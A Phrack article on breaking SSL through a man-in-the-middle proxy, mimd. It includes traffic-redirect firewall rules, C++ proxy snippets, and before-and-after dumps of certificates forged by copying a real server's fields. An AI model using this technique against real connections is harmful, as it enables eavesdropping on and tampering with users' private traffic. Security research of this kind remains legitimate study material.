==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x0d of 0x12 |=---=[ Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) ]=---=| |=-----------------------------------------------------------------------=| |=------------------=[ Stealth ]=-----------------=| Introduction ------------ SSL in version 3 known as SSLv3 or current version 3.1 also known as TLS provides a mechanism to securely transfer data over a network with recognition of modified or re-played packets. It has all requirements a secure system needs for, lets say, managing your bankaccounts. I'll show that in practise this is not true. In that article I will guide you through the parts of SSL which are important for us and necessary to know. Things we do not play with such as the SSL handshake are not explained in depth; take a look to the references if you are interested. 1. Why SSL ---------- SSL was designed to provide: 1.) Confidentiality This is reached by encrypting the data that is passed over the network with a symetric algorithm choosen during SSL handshake. SSL uses variable amount of ciphers, assumed to be non-breakable. If a new attack shows up against a specific algorithm, this does not hurt SSL much, it just chooses a different one. 2.) Message Integrity SSL is using a strong Message Authentication Code (MAC) such as SHA-1 which is appended to the end of the packet that contains the data and encrypted along with the payload. That way SSL detects when the payload is tampered with, since the computed hashes will not match. The MAC is also used to protect the handshake from tampering. 2.1.) Protection against replay-attacks SSL is using seqence-numbers to protect the communicating parties from attackers who are recording and replaying packets. The sequence-number is encrypted as the payload is. During handshake a 'random' is used to make the handshake unique and replay attacks impossible. 2.2.) Protection against reorder-attacks As in 2.1.) the seqence-numbers also forbid to record packets and send them in a different order. 3.) Endpoint Authentication With X509 (currently version 3) certificates SSL supports authentication of clients and servers. Authentication of servers is what you want when using https with your bank, but this is where we take a deeper look. This sounds pretty secure. However using the program that is explained until the end of this article, neither of the points is true any longer (except we cannot break client-authentication). At the end we are able to watch at the plain data, modifying it at our needs, recording it, sending it delayed, in wrong order or duplicated. This will basicly be done via a man in the middle attack where several weaknesses in interactive SSL-clients are exploited, "give it to the user" in particular. 2. X509 certificates -------------------- X509 certificates are integral part of SSL. The server sends his cert to the client during SSL handshake. A X509 cert contains the distinguished name (DN) of the issuer the DN of the subject, a version and serialnumber, algorithms choosen, a timeframe where the key is valid and ofcorse the public key of the subject. The subject is the (distinguished) name of the entity that the public key in this cert belongs to. Unfortunally in plain X509 certs there is no field that is labeled "DNS-name" so that you can match it against the URL you are viewing for instance. Usually the CN field is what is mapped to the DNS name but this is just a convention which both (client and entity offering its cert) must be aware of. "Issuer" is the (distinguished) name of the entity that signed this cert with its private key. It is called a Certificate Authority -- CA. Lets view a X509 cert: stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text Certificate: Data: Version: 1 (0x0) Serial Number: 1 (0x1) Signature Algorithm: md5WithRSAEncryption Issuer: C=EU, ST=segfault, L=segfault, O=www.segfault.net/Email=crew@segfault.net Validity Not Before: Nov 19 01:57:27 2000 GMT Not After : Apr 5 01:57:27 2028 GMT Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2: e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05: e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd: 70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9: 0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25: 47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12: a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7: a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1: 83:88:8f:c4:6a:8c:bb:26:fd Exponent: 65537 (0x10001) Signature Algorithm: md5WithRSAEncryption 7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d: e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee: 42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e: a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca: ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd: 8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7: 80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03: 82:f1 Important line is Issuer: C=EU, ST=segfault, L=segfault, O=www.segfault.net/Email=crew@segfault.net Where C, ST, L, O and Email (so called relative DNs -- RDN) build the issuer DN. Same for the subject: Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Certs may be be signed by a public known CA where the subject has no control over the private key used for that purpose, or by the subject itself -- so called self-signed cert. In this example, the cert is signed by a own CA. By the way, this is the original segfault.net certificate, noone was intercepting communication while fetching it. We will later see how it looks like when someone is playing with the connection. This certificate is exchanged during SSL handshake when you point netscape browser to https://segfault.net. The public key contained in this cert is then used for session encryption. To have a pretty good level of security, certs should be signed by a (either your own, as in this example, or a public) CA where the client has the public key handy to check this cert. If the client does not have the public key from the CA to check the integrity of the cert, it prompts the user to accept/deny it. This "requirement" for interactive clients and the fact that there are so many "well-surfed" sites which provide certs where nobody has the key for proper checking by default will in last consequence make SSL obsolete for common interactive SSL clients, i.e. Netscape browser. 3. Getting in between --------------------- As seen, X509-certificates are an important part of SSL. Its task is to prove to the client that he is talking to the server he is expecting, and that he is using the apropriate key while doing so. Now, imagine what could be done when we could fake such a certificate, and transparently forward a SSL connection. Got it? Its worth a try. Our leading motto 'teile und herrsche' shows that there are two problems which we must solve. a) Hijacking the connection to be able to transparently forward it. b) Faking certificates to the client, so that he always sees the certs he is expecting and taking us for the real server. a+b are usually called a 'man in the middle' attack. X509 certs should make this impossible but common cert-checking implementations such as Netscape browser (and in general, interactive clients) hardly get it. First problem is pretty easy to solve. Given that we sit physically between the two parties, we just use our firewall skills (preferably on Linux or BSD :) to redirect, lets say https-traffic to our program called 'mimd'. This would probably look like # ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp or similar to grab the https-traffic on the input chain. For local mimd action on a 2.4 kernel box you'd type # iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 --dport 443\ -j REDIRECT --to-port 10000 Given the (expected) source-ports from the SSL-client. If we ommit that, mimd will enter an infinite loop (iptables would redirect already redirected traffic). Since mimd binds to port 8888 and up it does not match the rule. You do not need to sit physically between the parties, it is usually enough to be in the LAN of the server or the LAN of the client. ARP-tricks do the job pretty well then, the FW-rules will not even change. With these redirect-rules we could already set up a simple bouncer with a tiny select() loop. The target-address can be found using the operating system API (usually via getsockopt() or alike, I compiled NS_Socket::dstaddr() function for the most important OSes :) Using our little bouncer, we can not see what is passed on the link, since we do not involve SSL itself. To be able to see plain traffic, we should modify our (virtual) little bouncer with a SSL_accpet() and a SSL_connect() statement. After accpet()ing the connection we would connect() to the real target and issue a call to SSL_connect(). Done that, we invoke SSL_accept(). Assuming we had done the initialization stuff before such as loading the key-file etc. the SSL-client will now prompt the bouncer-cert to the user. Obviously for him that this is faked, because when he surfes company-A and gets cert for company-B or 'MiM' he is probably a little bit confused. We will solve that problem. Our calls to SSL_connect() and SSL_accept() are already in the right order, and I will now explain why. 4. DCA ------ We can already see the plain text of the connection via SSL_read() and forward it to the target via SSL_write() if the user on the SSL-client just accepts the certificate. It is now time to solve the second part-problem: faking the certificate. Remember, we first issued SSL_connect(), before we do the SSL_accept(), so the server sees us as a legitimate client when doing SSL_connect() and does the SSL handshake. As a result we have the server certificate. Lets see what we have so far: ... // block for incoming connections while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) { // Get real destination // of connection if (NS_Socket::dstaddr(afd, &dst) < 0) { log(NS_Socket::why()); die(NULL); } ... ++i; if (fork() == 0) { // --- client-side if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) { log("main::socket"); die(NULL); } if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) { log(NS_Socket::why()); die(NULL); } // fire up connection to real server if (connect(sfd2, (struct sockaddr*)&dst, sizeof(dst)) < 0) { log("main::connect"); die(NULL); } ... client->start(); client->fileno(sfd2); // this socket to use // do SSL handshake if (client->connect() < 0) { log("Clientside handshake failed. Aborting."); die(NULL); } The handshake with the real server is finished right *now*. Take this as some sort of SSL-pseudocode, the use of SSL_connect() and SSL_accept() is encapsulated into client and server objects respectively. Now we can prepare ourself to be a server for the SSL-client: // --- server-side server->start(); // create SSL object server->fileno(afd); // set socket to use Not calling SSL_accept() until we actually do the fake: if (enable_dca) NS_DCA::do_dca(client, server); Dynamic Certificate Assembly (DCA) does the following: Given an almost empty certificate (all RDN are non-existant except C -- Country) the do_dca() fills this X509 cert with the contents of the X509 certificate obtained during SSL-handshake with the server before. We rip the L, ST, O, CN, the OU and the Email field (as present) and place it into our certificate which we will show to the SSL-client. This is done using some ugly string-parsing, and using X509_() functions offered by OpenSSL. For the OU field in the issuer we append a space " " which will not show up in the window of the SSL-client but makes it differ from the saved certs from public CA's. The user will be prompted to accept a cert from a "well known CA" (because user sees the name, but not the appended space, SSL-client can not find apropriate public key for this CA and prompts), which he will probably accept. Nice eh? As a special gift, we can use the subject fields (CN,...) for the issuer-fields so the former public CA signed X509-cert becomes self-signed! Since self-signed certificates are usually shown to the user he cant know it is a fake! Assembled the cert, lets just show it to the client: // do SSL handshake as fake-server if (server->accept() < 0) { log("Serverside handshake failed. Aborting."); die(NULL); } ssl_forward(client, server); Done. ssl_forward() just calls SSL_read/SSL_write in a loop and records the plain data. We could also modify the stream, replaying or supressing it -- as we wish. Lets fetch a X509-cert from a https-server via cf when mimd is active: [starting mimd somewhere, maybe on localhost] stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: md5WithRSAEncryption Issuer: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, OU= /Email=crew@segfault.net Validity Not Before: Mar 20 13:42:12 2001 GMT Not After : Mar 20 13:42:12 2002 GMT Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: 94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: 0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: 94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: ca:c2:07:9d:ba:32:ff:d6:e7 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD X509v3 Authority Key Identifier: keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD DirName:/C=US serial:00 X509v3 Basic Constraints: CA:TRUE Signature Algorithm: md5WithRSAEncryption b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: 86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: 8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: eb:f2 As you can see, the public key differs to the one before (without mimd) because it is the mimd key itself. The C field contains "US" and "EU" where only the latter is shown in Netscape, so no difference. Aware of the " " in the OU field? Since the original cert did not contain a OU field, it now is just a " ". Does not matter. The issuer has been taken from original issuer-field in X509 cert. Now, lets try to take the subject-field for the issuer. Somewhat obsolete for this example because it is not signed by a public CA, but in case an important public CA signed the cert, a self-signed fake might be a nice toy: [restarting mimd, this time in the 'use-subject' way] stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: md5WithRSAEncryption Issuer: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net Validity Not Before: Mar 20 13:42:12 2001 GMT Not After : Mar 20 13:42:12 2002 GMT Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: 94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: 0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: 94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: ca:c2:07:9d:ba:32:ff:d6:e7 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD X509v3 Authority Key Identifier: keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD DirName:/C=US serial:00 X509v3 Basic Constraints: CA:TRUE Signature Algorithm: md5WithRSAEncryption b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: 86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: 8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: eb:f2 The only diff between these two is that a CN shows up in the issuer-field now which has not been there before. It would have more effect with public CA's as I already mentioned. 5. Conclusion ------------- To conclude: a user surfing the web with interactive client as they exist by now CAN NOT KNOW that his connection is subject to a mim attack. There is no way for him to distinguish between 'browser prompts because company uses unknown CA' or 'the unknown CA is mimd'. Even when he already surfed the site and saved the cert (!) he can fall into this trap. An attentive user MIGHT notice that he is prompted to accept a 'RSA Data Security' or a 'Verisign' signed cert and wonders. Enabling self-signing switch in mimd will kill his doubts. In this article I focused on the 'separate-ports' way to break SSL, there is also a thing called 'upward negotiation' which turns a former plain-text stream into a SSL stream via a keyword (STARTTLS for example). All things said about SSL apply to it as well, just you can not use mimd in this case, because you need to filter SSL connections and forward it to mimd. This will probably be done using MSG_PEEK; we are researching. :) Thanks to Segfault Consortium for providing a testing environment and various folks for proof-reading the article. Blame them if something is wrong. :) References: ----------- [1] "SSL and TLS" Designing and Building Secure Systems Eric Rescorla, AW 2001 A 'must-read' if you want/need to know how SSL works. [2] "Angewandte Kryptographie" Bruce Schneier, AW 1996 THE book for crypto-geeks. I read the german version, in english its 'Applied Cryptographie' [2] various openssl c-files and manpages [3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz A DCA implementation, described in this article; also contains 'cf' tool. [4] In case you cannot try mimd on your local box, view a snapshot from a mim-ed session provided by TESO: http://www.team-teso.net/ssl-security.png |=[ EOF ]=---------------------------------------------------------------=|